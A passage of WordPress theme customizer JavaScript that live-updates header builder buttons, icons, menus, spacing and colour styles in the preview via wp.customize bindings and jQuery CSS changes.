        button_3_border = wp.customize.settings.values.penci_header_pb_button_3_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').css('border-color', newval);
            button_3_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_color)', function (value) {
        button_3_bg = wp.customize.settings.values.penci_header_pb_button_3_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').css('background-color', newval);
            button_3_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_color)', function (value) {
        button_3_txt = wp.customize.settings.values.penci_header_pb_button_3_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').css('color', newval);
            button_3_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_3_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_3_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_3_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-3', function () {
        if (button_3_border_hv) {
            $(this).css('border-color', button_3_border_hv);
        }
        if (button_3_bg_hv) {
            $(this).css('background-color', button_3_bg_hv);
        }
        if (button_3_txt_hv) {
            $(this).css('color', button_3_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-3', function () {
        $(this).css('background-color', button_3_bg);
        $(this).css('color', button_3_txt);
        $(this).css('border-color', button_3_border);
    });

    // new button
    wp.customize('setting(penci_header_pb_search_icon_section)(penci_header_search_style)', function (value) {
        value.bind(function (newval) {
            $('body')
                .removeClass('pchds-overlay pchds-showup')
                .addClass('pchds-' + newval);
            $('.wrapper-boxed')
                .removeClass('header-search-style-overlay header-search-style-showup header-search-style-default')
                .addClass('header-search-style-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.pb-header-builder.cart-icon')
                .removeClass('pc-button-define-customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_btnstyle)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-elements.pcheader-icon.compare-icon > a')
                .removeClass('pc-button-define-customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_btnstyle)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-elements.pcheader-icon.wishlist-icon > a')
                .removeClass('pc-button-define-customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_search_icon_section)(penci_header_search_icon_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.penci-top-search .search-click')
                .removeClass('customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.navigation .button-menu-mobile')
                .removeClass('customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-menuhbg-toggle.builder')
                .removeClass('customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    // button mobile 1
    var button_mobile_border,
        button_mobile_bg,
        button_mobile_txt,
        button_mobile_border_hv,
        button_mobile_bg_hv,
        button_mobile_txt_hv;
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').text(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-mobile-1');
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_border_color)', function (value) {
        button_mobile_border = wp.customize.settings.values.penci_header_pb_button_mobile_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').css('border-color', newval);
            button_mobile_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_bg_color)', function (value) {
        button_mobile_bg = wp.customize.settings.values.penci_header_pb_button_mobile_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').css('background-color', newval);
            button_mobile_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_txt_color)', function (value) {
        button_mobile_txt = wp.customize.settings.values.penci_header_pb_button_mobile_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').css('color', newval);
            button_mobile_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-mobile-1', function () {
        if (button_mobile_border_hv) {
            $(this).css('border-color', button_mobile_border_hv);
        }
        if (button_mobile_bg_hv) {
            $(this).css('background-color', button_mobile_bg_hv);
        }
        if (button_mobile_txt_hv) {
            $(this).css('color', button_mobile_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-mobile-1', function () {
        $(this).css('background-color', button_mobile_bg);
        $(this).css('color', button_mobile_txt);
        $(this).css('border-color', button_mobile_border);
    });

    // button mobile 2
    var button_mobile_2_border,
        button_mobile_2_bg,
        button_mobile_2_txt,
        button_mobile_2_border_hv,
        button_mobile_2_bg_hv,
        button_mobile_2_txt_hv;
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').text(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-mobile-2');
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_color)', function (value) {
        button_mobile_2_border = wp.customize.settings.values.penci_header_pb_button_mobile_2_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').css('border-color', newval);
            button_mobile_2_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_color)', function (value) {
        button_mobile_2_bg = wp.customize.settings.values.penci_header_pb_button_mobile_2_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').css('background-color', newval);
            button_mobile_2_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_color)', function (value) {
        button_mobile_2_txt = wp.customize.settings.values.penci_header_pb_button_mobile_2_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').css('color', newval);
            button_mobile_2_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_2_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_2_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_2_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-mobile-2', function () {
        if (button_mobile_2_border_hv) {
            $(this).css('border-color', button_mobile_2_border_hv);
        }
        if (button_mobile_2_bg_hv) {
            $(this).css('background-color', button_mobile_2_bg_hv);
        }
        if (button_mobile_2_txt_hv) {
            $(this).css('color', button_mobile_2_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-mobile-2', function () {
        $(this).css('background-color', button_mobile_2_bg);
        $(this).css('color', button_mobile_2_txt);
        $(this).css('border-color', button_mobile_2_border);
    });

    // darkmode button
    wp.customize('setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_style)', function (value) {
        value.bind(function (newval) {
            $('.pb-header-builder.pc-dmswitcher-element .pc_dm_mode')
                .removeClass('style_1 style_2 style_3 style_4')
                .addClass('style_' + newval);
        });
    });

    // general spacing
    var $element_spacings = {
        'setting(penci_header_pb_block_section)(penci_header_pb_block_spacing)': '.penci-header-builder .penci-header-block-1',
        'setting(penci_header_pb_block_2_section)(penci_header_pb_block_2_spacing)': '.penci-header-builder .penci-header-block-2',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_spacing)': '.penci-header-builder .pb-header-builder.cart-icon',
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_spacing)': '.penci-header-builder .penci-builder-elements.compare-icon',
        'setting(penci_header_pb_date_time_section)(penci_header_pb_data_time_spacing)': '.penci-header-builder .penci-builder-element.penci-data-time-format',
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_spacing)': '.pc-builder-element.pc-builder-menu.pc-dropdown-menu',
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_spacing)': '.penci-header-builder .pc-builder-element.penci-menuhbg-wapper',
        'setting(penci_header_builder_pb_html_section)(penci_header_builder_pb_html_spacing)': '.penci-header-builder .penci-builder-element.penci-html-ads',
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_spacing)': '.penci-header-builder .pc-builder-element.pc-logo',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_spacing)': '.penci-header-builder .pc-builder-element.pc-builder-menu',
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_spacing)': '.penci_navbar_mobile .navigation.mobile-menu',
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_spacing)': '.penci-header-builder .penci-builder-element.pctopbar-item',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_spacing)': '.penci-header-builder .pc-builder-element.penci-top-search',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_spacing)': '.penci-header-builder .pc-builder-element.pc-second-menu',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_spacing)': '.penci-header-builder .pc-builder-element.pc-third-menu',
        'setting(penci_header_pb_shortcode_section)(penci_header_builder_pb_shortcode_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes',
        'setting(penci_header_pb_shortcode_2_section)(penci_header_builder_pb_shortcode_2_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes-2',
        'setting(penci_header_pb_shortcode_3_section)(penci_header_builder_pb_shortcode_3_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes-3',
        'setting(penci_header_pb_shortcode_mobile_section)(penci_header_builder_pb_shortcode_mobile_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes-mobile',
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_spacing)': '.penci-header-builder .header-social.penci-builder-element.desktop-social',
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_spacing)': '.penci-header-builder .pc-builder-element.wishlist-icon',
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_spacing)': '.penci-header-builder .pc-header-element.pc-login-register',
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_menu_spacing)': '.penci-header-builder .penci-builder-element.pc-search-form',
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_menu_spacing)': '.penci-builder-mobile-sidebar-nav .penci-builder-element.pc-search-form.pc-search-form-sidebar',
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_spacing)': '.pc-builder-element.pc-logo.pb-logo-mobile',
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_spacing_setting)': '.penci-desktop-topblock',
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_spacing_setting)': '.penci-desktop-topbar',
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_spacing_setting)': '.penci-desktop-bottombar',
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_spacing_setting)': '.penci-desktop-midbar',
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_spacing_setting)': '.penci-desktop-bottomblock',
        'setting(penci_header_desktop_option_section)(penci_header_spacing_setting)': '.penci_header.penci-header-builder.main-builder-header',
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_spacing_setting)': '.penci-mobile-topbar',
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_spacing_setting)': '.penci-mobile-bottombar',
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_spacing_setting)': '.penci-mobile-midbar',
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_spacing_setting)': '.penci-desktop-sticky-top',
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_spacing_setting)': '.penci-desktop-sticky-mid',
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_spacing_setting)': '.penci-desktop-sticky-bottom',
        'setting(penci_header_mobile_sidebar_section)(penci_header_mobile_sidebar_spacing_setting)': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        'setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_spacing_setting)': '.penci_builder_sticky_header_desktop',
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_spacing)': '.penci-builder-element.vertical-line-1',
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_spacing)': '.penci-builder-element.vertical-line-2',
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_spacing)': '.penci-builder-element.vertical-line-3',
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_spacing)': '.penci-builder-element.vertical-line-4',
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_spacing)': '.penci-builder-element.vertical-line-5',
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_spacing)': '.penci-builder-element.vertical-line-mobile-1',
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_spacing)': '.penci-builder-element.vertical-line-mobile-2',
        'setting(penci_header_pb_button_section)(penci_header_pb_button_spacing_setting)': '.penci-builder.penci-builder-button.button-1',
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_spacing_setting)': '.penci-builder.penci-builder-button.button-2',
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_spacing_setting)': '.penci-builder.penci-builder-button.button-3',
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_spacing_setting)': '.penci-builder.penci-builder-button.button-mobile-1',
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_spacing_setting)': '.penci-builder.penci-builder-button.button-mobile-2',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_btnspacing)': '.pc-builder-element.penci-top-search .search-click',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_btnspacing)': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents',
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_btnspacing)': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_btnspacing)': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_btnspacing)': '.navigation .button-menu-mobile',
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_btnspacing)': '.pc-builder-element a.penci-menuhbg-toggle',
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_spacing)': '.penci-builder-mobile-sidebar-nav .pc-builder-element.pb-logo-sidebar-mobile',
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_spacing)': '.pc-builder-element.pc-logo-sticky',
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_spacing)': '.penci-builder-element.mobile-social',
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_spacing)': '.penci-builder-element.penci-html-ads-mobile',
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_spacing)': '.penci-builder-element.penci-html-ads-mobile-2',
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_spacing)': '.penci-builder-element.penci-html-ads-1',
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_spacing)': '.penci-builder-element.penci-html-ads-2',
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_spacing)': '.penci-builder-element.penci-html-ads-3',
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_spacing)': '.pc-dmswitcher-element',
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_spacing)': '.penci-builder-element.top-search-classes.penci-header-bookmark-element > a',
    };

    $.each($element_spacings, function (item_key, item_value) {
        wp.customize(item_key, function (value) {
            value.bind(function (newval) {
                spacing_elements(newval, item_value);
            });
        });
    });

    // builder css

    var $color_css = {
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_color)': '.pc-builder-element.penci-top-search .search-click',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_hv_color)': '.pc-builder-element.penci-top-search .search-click:hover',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_bcolor)': {
            'border-color': '.pc-builder-element.penci-top-search .search-click'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_bhcolor)': {
            'border-color': '.pc-builder-element.penci-top-search .search-click:hover'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bgcolor)': {
            'background-color': '.pc-builder-element.penci-top-search .search-click'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bghcolor)': {
            'background-color': '.pc-builder-element.penci-top-search .search-click:hover'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_btnborder_style)': {
            'border-style': '.pc-builder-element.penci-top-search .search-click'
        },
        'setting(penci_header_pb_date_time_section)(penci_header_pb_data_time_color)': '.penci-builder-element.penci-data-time-format',
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_color)': '.pc-header-element.pc-login-register a',

        // main menu
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_color)': '.pc-builder-element.pc-main-menu .navigation .menu > li > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_hv_color)': '.pc-builder-element.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_active_color)': '.pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-item > a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_color)': '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_activecl)': '.pc-builder-element.pc-main-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-item > a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_child_cat_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_post_date_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_post_category_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .penci-megamenu .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_post_title_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
